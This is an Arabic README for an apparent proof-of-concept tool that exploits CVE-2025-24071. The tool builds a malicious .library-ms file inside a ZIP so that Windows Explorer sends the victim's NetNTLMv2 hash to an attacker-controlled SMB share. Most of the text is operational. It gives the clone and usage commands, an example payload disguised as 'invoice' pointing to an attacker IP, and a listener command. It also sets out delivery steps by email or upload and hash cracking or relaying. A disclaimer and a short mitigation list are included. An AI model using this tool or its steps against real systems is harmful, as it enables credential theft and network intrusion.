CVE-2025-24071 — انتحال هوية Windows File Explorer / كشف تجزئة NTLM عبر .library-ms

⚠️ إخلاء المسؤولية: هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرّح به فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح باختبارها. الاستخدام غير المصرّح به غير قانوني.

جدول المحتويات

• نظرة عامة
• تفاصيل الثغرة
• كيفية العمل
• المتطلبات
• التثبيت
• الاستخدام
• أمثلة
• التخفيف
• الشكر
• المراجع

نظرة عامة

يقوم Windows File Explorer تلقائيًا بتحليل أنواع معينة من الملفات بمجرد ظهورها في عرض المجلد، دون أي تفاعل من المستخدم مثل النقر المزدوج. تفشل الإصدارات المتأثرة في التحقق بشكل صحيح من ملفات .library-ms، والتي يمكنها تعريف موصل بحث يشير إلى مسار SMB بعيد عشوائي.

عندما يعرض Explorer مجلدًا يحتوي على ملف .library-ms خبيث (على سبيل المثال، مباشرة بعد استخراج أرشيف ZIP/RAR)، فإنه يحاول بصمت الاتصال بمسار UNC الذي يتحكم فيه المهاجم لحل موقع "المكتبة". يحمل محاولة اتصال SMB هذه تجزئة NetNTLMv2 الخاصة بالضحية، والتي يمكن للمهاجم الذي يلتقط حركة المرور على المضيف المحدد (على سبيل المثال، باستخدام impacket-smbserver أو Responder) أن يحاول بعد ذلك كسرها دون اتصال أو إعادة توجيهها.

يحتوي هذا المستودع على إعادة كتابة بسيطة وخالية من التبعيات لمولّد PoC عام لهذه الثغرة: فهو يبني ملف .library-ms الخبيث ويحزمه في ZIP، باستخدام مكتبة Python القياسية فقط.

تفاصيل الثغرة

كيفية العمل

ملف .library-ms هو مستند XML يخبر Windows Explorer بعرض محتويات موقع بعيد أو محلي كـ "مكتبة". يمكن لعنصر <simpleLocation><url> الخاص به أن يشير إلى مسار UNC (\\<host>\<share>).

في الإصدارات المتأثرة، يحل Explorer هذا الموقع بمجرد عرض المجلد — لا حاجة إلى نقر مزدوج أو إجراء صريح بخلاف وجود الملف مرئيًا في عرض المجلد (على سبيل المثال، مباشرة بعد استخراج أرشيف يحتويه).

متطلبات الهجوم

1. يتحكم المهاجم بمضيف يمكن للضحية الوصول إليه (أو يكون على نفس الشبكة) يشغّل مستمع SMB (impacket-smbserver، Responder، إلخ).
2. يتم إنشاء ملف .library-ms خبيث يشير إلى \\<attacker_ip>\<share>.
3. يتم تسليم الملف إلى الضحية، عادةً داخل أرشيف ZIP/RAR (هذا المستودع يؤتمت خطوة الحزم هذه).
4. تستخرج الضحية الأرشيف وتعرض المجلد في Explorer — لا حاجة لمزيد من التفاعل.

مسار الاستغلال

1. Start an SMB listener on the attacker machine
2. Generate a .library-ms file pointing to \\<attacker_ip>\<share>
3. Package it into a ZIP archive
4. Deliver the ZIP to the victim (upload feature, email, share, etc.)
5. Victim extracts the ZIP and Explorer renders the folder
6. Explorer resolves the UNC path -> SMB auth attempt -> NetNTLMv2 hash captured
7. Crack the hash offline (hashcat -m 5600) or relay it

المتطلبات

• Python 3.8+ (مكتبة قياسية فقط — os، sys، argparse، zipfile)

لا حاجة إلى تبعيات طرف ثالث لإنشاء الحمولة. يتطلب التقاط التجزئة مستمع SMB مثل Impacket (impacket-smbserver) أو Responder على جانب المهاجم.

التثبيت

git clone https://github.com/BardLaudian/CVE-2025-24071.git
cd CVE-2025-24071

الاستخدام

usage: cve_2025_24071.py [-h] [-n NAME] [-i IP] [-s SHARE] [-o OUTDIR] [-a]

options:
  -n NAME, --name NAME             Output base filename (no extension)
  -i IP, --ip IP                   Attacker IP to embed as the UNC path target
  -s SHARE, --share SHARE          Share name (default: shared)
  -o OUTDIR, --outdir OUTDIR       Output directory (default: current dir)
  -a, --affected-versions          Print the list of affected Windows versions and exit

أمثلة

الاستخدام الأساسي

python3 cve_2025_24071.py -n invoice -i 10.10.14.5

ينتج invoice.zip، الذي يحتوي على invoice.library-ms مشيرًا إلى \\10.10.14.5\shared.

ابدأ المستمع قبل تسليم الملف

impacket-smbserver shared /tmp/smbshare -smb2support

اسم مشاركة مخصص ودليل إخراج مخصص

python3 cve_2025_24071.py -n report -i 10.10.14.5 -s data -o ./payloads

عرض الإصدارات المتأثرة

python3 cve_2025_24071.py -a

التخفيف

• طبّق التحديث الأمني التراكمي لشهر مارس 2025 (أو أحدث) لإصدار Windows لديك.
• قيّد SMB الصادر (TCP 445) على محيط الشبكة لمنع تسرب تجزئات NTLM إلى مضيفين خارجيين.
• فرض توقيع SMB وتعطيل NTLM حيثما أمكن لصالح Kerberos.
• افحص الأرشيفات المرفوعة/المستخرجة بحثًا عن .library-ms وأنواع الملفات المشابهة التي تُحلَّل تلقائيًا قبل وصولها إلى محطات عمل المستخدمين النهائيين.

الشكر

• تم اكتشاف الثغرة والإبلاغ عنها إلى Microsoft بواسطة: Microsoft (مُنسوبة عبر MSRC؛ لم يتم الكشف عن المُبلّغ الخارجي الأصلي علنًا وقت الكتابة)
• تم نشر الإشعار بواسطة: Microsoft Security Response Center (MSRC)
• مفهوم مولّد PoC العام مُستشهد به من: ThemeHackers
• إعادة الكتابة بالمكتبة القياسية: Bardlaudian — نسخة خالية من التبعيات لمولّد ZIP/.library-ms، دون تقنية استغلال جديدة

المراجع

• MSRC — CVE-2025-24071 Security Update Guide
• NVD — CVE-2025-24071
• CVE.org Record — CVE-2025-24071
• GitHub Advisory Database — GHSA-mppc-8qxh-4wjw